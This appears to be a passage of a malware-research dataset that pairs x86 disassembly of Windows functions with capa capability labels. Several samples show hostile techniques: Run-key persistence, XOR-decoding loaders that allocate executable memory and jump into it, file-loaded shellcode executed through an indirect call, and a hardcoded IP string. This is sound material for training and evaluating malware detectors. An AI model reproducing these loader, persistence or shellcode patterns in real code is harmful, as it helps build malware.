joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41eae1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x44b218]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41eb24
cmp word [esi], dx
jne 0x41eb24
or byte [edi + eax + 0x28], 4
jmp 0x41eb29
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41ec7c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41ec5c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41eb6b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41eba1
cmp eax, edx
jae 0x41ebad
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41eb43
jmp 0x41ec7c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ec58
cmp dword [ebp - 0x14], 0
je 0x41ec58
mov eax, dword [ebx*4 + 0x44b218]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ec30
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ebf9
mov word [esi], cx
jmp 0x41ec2c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x44b218]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x44b218]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x44b218]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41ec7c
pop ebx
cmp word [ebp - 4], bx
jne 0x41ec41
cmp esi, dword [ebp + 0xc]
jne 0x41ec41
mov word [esi], bx
jmp 0x41ec79
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41ec7c
push 0xd
jmp 0x41ec75
mov ecx, dword [ebx*4 + 0x44b218]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ec73
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ec7c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x421a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x423000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x3f
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x44a370]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x423021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x423069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x423044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x423091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4230aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401bff
push eax
call fcn.00402f5f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42eac0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x1b400
jl 0x423080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405cbb
add esp, 0x214
ret
Function at 0x100056a6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10026470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x100056f5
mov dword [ebp - 0x1c], 0x4c
push 0x1002a840
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1001fcb9
jmp 0x10005714
mov dword [ebp - 4], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1002d460
call fcn.10004961
add esp, 4
mov dword [ebp - 0x18], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x18], 0
jne 0x10005746
jmp 0x1000581d
mov dword [ebp - 4], 2
mov edx, 1
test edx, edx
je 0x1000576b
mov dword [ebp - 0x20], 0x51
push 0x1002a840
lea eax, [ebp - 0x20]
push eax
call fcn.1001fcb9
jmp 0x10005786
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 0
jne 0x100057dd
mov dword [ebp - 4], 4
mov eax, 1
test eax, eax
je 0x100057b8
mov dword [ebp - 0x24], 0x33
push 0x1002a840
lea ecx, [ebp - 0x24]
push ecx
call fcn.1001fcb9
jmp 0x100057d4
mov dword [ebp - 4], 0xffffffff
jmp 0x1000581d
sub esp, 0x84c
mov ecx, 0x213
mov esi, str.156.247.36.8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call dword [ebp - 0x14]
cmp dword [ebp - 0x18], 0
je 0x10005815
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x18]
push eax
call fcn.1000540f
add esp, 4
mov dword [ebp - 0x18], 0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005714
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10026470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x100056f5
mov dword [ebp - 0x1c], 0x4c
push 0x1002a840
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1001fcb9
jmp 0x10005714
mov dword [ebp - 4], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1002d460
call fcn.10004961
add esp, 4
mov dword [ebp - 0x18], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x18], 0
jne 0x10005746
jmp 0x1000581d
mov dword [ebp - 4], 2
mov edx, 1
test edx, edx
je 0x1000576b
mov dword [ebp - 0x20], 0x51
push 0x1002a840
lea eax, [ebp - 0x20]
push eax
call fcn.1001fcb9
jmp 0x10005786
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 0
jne 0x100057dd
mov dword [ebp - 4], 4
mov eax, 1
test eax, eax
je 0x100057b8
mov dword [ebp - 0x24], 0x33
push 0x1002a840
lea ecx, [ebp - 0x24]
push ecx
call fcn.1001fcb9
jmp 0x100057d4
mov dword [ebp - 4], 0xffffffff
jmp 0x1000581d
sub esp, 0x84c
mov ecx, 0x213
mov esi, str.156.247.36.8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call dword [ebp - 0x14]
cmp dword [ebp - 0x18], 0
je 0x10005815
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x18]
push eax
call fcn.1000540f
add esp, 4
mov dword [ebp - 0x18], 0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000597b
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x114]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x100059eb
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea eax, [ebp - 0x110]
push eax
push 1
push 0
push 0
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 4
call fcn.1001fdd4
add esp, 4
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x10005a17
mov ecx, dword [ebp - 0x11c]
call fcn.10005b60
mov dword [ebp - 0x120], eax
jmp 0x10005a21
mov dword [ebp - 0x120], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
call dword [eax]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100083f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8

Function at 0x10008600
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jge 0x10008659
mov edx, 1
test edx, edx
je 0x10008641
jmp 0x10008655
push str.Should_not_be_here___n
push 0
push 0x100
call fcn.1001b340
add esp, 0xc
xor eax, eax
jmp 0x10008662
xor eax, eax
cmp eax, dword [ebp - 4]
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10008670
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.1001fdf0
mov dword [ebp - 0x1010], ecx
mov dword [ebp - 8], 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100086d8
mov edx, 1
test edx, edx
je 0x100086c0
jmp 0x100086d4
push str.RegQueryInfoKey_Failed
push 0
push 0x100
call fcn.1001b340
add esp, 0xc
xor eax, eax
jmp 0x10008732
cmp dword [ebp - 8], 1
jne 0x10008729
mov dword [ebp - 0x100c], 0x1000
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x100c]
push eax
lea ecx, [ebp - 0x1008]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10008725
movsx eax, byte [ebp - 0x1008]
test eax, eax
je 0x10008725
mov eax, 1
jmp 0x10008732
xor eax, eax
jmp 0x10008732
xor ecx, ecx
cmp ecx, dword [ebp - 8]
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4013bd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
cmp dword [0x1a971d0], 0x594
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x2c], esi
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov dword [ebp - 0x10], ebx
jne 0x4013f3
push 0
lea eax, [ebp - 0x44c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x4182e8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x4182ec]
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x28], eax
call fcn.004013b3
mov ecx, dword [0x4182f0]
mov eax, dword [0x4182f4]
add dword [ebp - 4], 0x23f
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], eax
pop esi
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, ebx
mov edx, 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x1a971d0], 0xfa9
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [0x1a971cc]
cmove eax, edx
xor edx, edx
cmp dword [0x1a971d0], 0x3eb
mov dword [0x1a971cc], eax
mov eax, dword [0x1a96bbc]
cmove eax, edx
add ecx, ebx
mov dword [0x1a96bbc], eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
xor ebx, ebx
mov eax, dword [ebp - 8]
xor edx, ecx
add eax, dword [ebp - 0x1c]
mov ecx, dword [0x1a971d0]
xor eax, edx
mov dword [0x1a971c8], 0xf4ea3dee
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
cmp ecx, 0x213
jne 0x401527
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push ebx
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea eax, [ebp - 0xc4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x44c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1a971d0]
sub edi, eax
cmp ecx, 0xc
jne 0x401535
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, edi
shl eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov eax, edi
mov edx, dword [ebp - 4]
shr eax, cl
add edx, edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0xc]
xor edx, eax
mov dword [ebp - 0xc], edx
call fcn.004013ba
mov eax, dword [ebp - 0x18]
sub dword [ebp - 4], eax
dec esi
je 0x401581
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
jmp 0x401431
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], edi
pop edi
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d332
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417794]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408727
mov dword [ebp - 0x14], eax
cmp dword [0x4d0fd8], esi
jne 0x40d425
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d3b2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d505
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d505
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d505
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4d0fd8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4d0fdc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4d0fe0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4d0fe8], eax
test eax, eax
je 0x40d422
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4d0fe4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d44a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d43d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d45f
push 4
pop eax
jmp 0x40d507
cmp dword [ebp - 0x14], esi
je 0x40d45f
push dword [0x4d0fd8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d444
mov eax, dword [0x4d0fe4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d4bd
cmp dword [0x4d0fe8], edi
je 0x40d4bd
push eax
call ebx
push dword [0x4d0fe8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d4bd
test eax, eax
je 0x40d4bd
call ecx
test eax, eax
je 0x40d4b2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d4b2
test byte [ebp - 8], 1
jne 0x40d4bd
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d4ed
mov eax, dword [0x4d0fdc]
cmp eax, edi
je 0x40d4ea
push eax
call ebx
test eax, eax
je 0x40d4ea
call eax
mov esi, eax
test esi, esi
je 0x40d4ea
mov eax, dword [0x4d0fe0]
cmp eax, edi
je 0x40d4ea
push eax
call ebx
test eax, eax
je 0x40d4ea
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4d0fd8]
call ebx
test eax, eax
je 0x40d505
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d507
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040407e
mov esp, ebp
pop ebp
ret
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100022de
pop dword [ebp - 0x24]
mov eax, 0x100022de
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc4ea7b3
add dword [ebp - 0x34], 0x42039d98
mov dword [ebp - 0x30], 0x7b68f1d7
sub dword [ebp - 0x30], 0x4935a592
mov dword [ebp - 0x2c], 0x948b6374
add dword [ebp - 0x2c], 0xb7c0e0ba
mov dword [ebp - 0x28], 0x99765b92
sub dword [ebp - 0x28], 0x99765b92
lea eax, [ebp - 0x34]
push eax
mov eax, 0x16aa9c69
sub eax, 0x6aa6c65
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xb3533944
add dword [ebp - 0x34], 0xc11f3012
mov dword [ebp - 0x30], 0x662ca3bd
add dword [ebp - 0x30], 0xdb3fbdb8
mov dword [ebp - 0x2c], 0x855004f4
add dword [ebp - 0x2c], 0xde1f6778
mov dword [ebp - 0x28], 0x58f66bff
add dword [ebp - 0x28], 0xa7099401
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x5e893936
sub eax, 0x4e89092e
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x35a92
push 0
call eax
mov ecx, 0x44b2
mov edi, eax
mov esi, 0xf8f9d46e
sub esi, 0xe8f9726e
add esi, dword [ebp - 0x24]
mov ebx, 0x7e255618
xor dword [ebp - 0x1c], ecx
mov edx, dword [esi]
xor dword [ebp - 4], 0x4cc4d193
sub edx, ebx
mov dword [edi], edx
add dword [ebp - 0x1c], 0xaeaff83e
add edi, 0x38cc7c16
sub edi, 0x38cc7c12
add esi, 4
loop 0x100023ef
add eax, 0xf5d5c5a8
sub eax, 0xf5d4c00d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x401c66
pop dword [ebp - 0x30]
mov eax, 0xac5f76b4
sub eax, 0xac1f5a4e
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x8f48027c
add dword [ebp - 0x40], 0xbf0a42cf
mov dword [ebp - 0x3c], 0xdc03b6e6
add dword [ebp - 0x3c], 0x562f955f
mov dword [ebp - 0x38], 0x34cbc9eb
add dword [ebp - 0x38], 0x17807a43
mov dword [ebp - 0x34], 0xe7ce4e3d
add dword [ebp - 0x34], 0x1831b1c3
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x86948d72
sub dword [ebp - 0x40], 0x1222241c
mov dword [ebp - 0x3c], 0x9b3bb05a
sub dword [ebp - 0x3c], 0x59cf4ee5
mov dword [ebp - 0x38], 0x19c6f1f0
sub dword [ebp - 0x38], 0xb6578584
mov dword [ebp - 0x34], 0x687c6a99
add dword [ebp - 0x34], 0x97839567
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x4e21e6a5
add eax, 0xb21e4987
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38e66
push 0
call eax
mov ecx, 0xaead0640
sub ecx, 0xaeacb493
xor edi, edi
add edi, eax
mov esi, 0x8cd64c91
sub esi, 0x8c95dc91
add esi, dword [ebp - 0x30]
mov ebx, 0x62f51459
add ebx, 0x8dc1317b
xor dword [ebp - 8], ebx
mov edx, dword [esi]
add dword [ebp - 0x1c], eax
add edx, ebx
xor dword [ebp - 0xc], 0x1ab60c59
mov dword [edi], edx
mov dword [ebp - 0x1c], 0xe4b25468
add edi, 0x4fb98460
add edi, 0xb0467ba4
add esi, 0x5487cb2e
add esi, 0xab7834d6
loop 0x401d85
add eax, 0x13987
mov ebx, eax
add eax, 0x335724f3
sub eax, 0x335724ee
mov ecx, 0xae94806
sub ecx, 0xaa94806
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
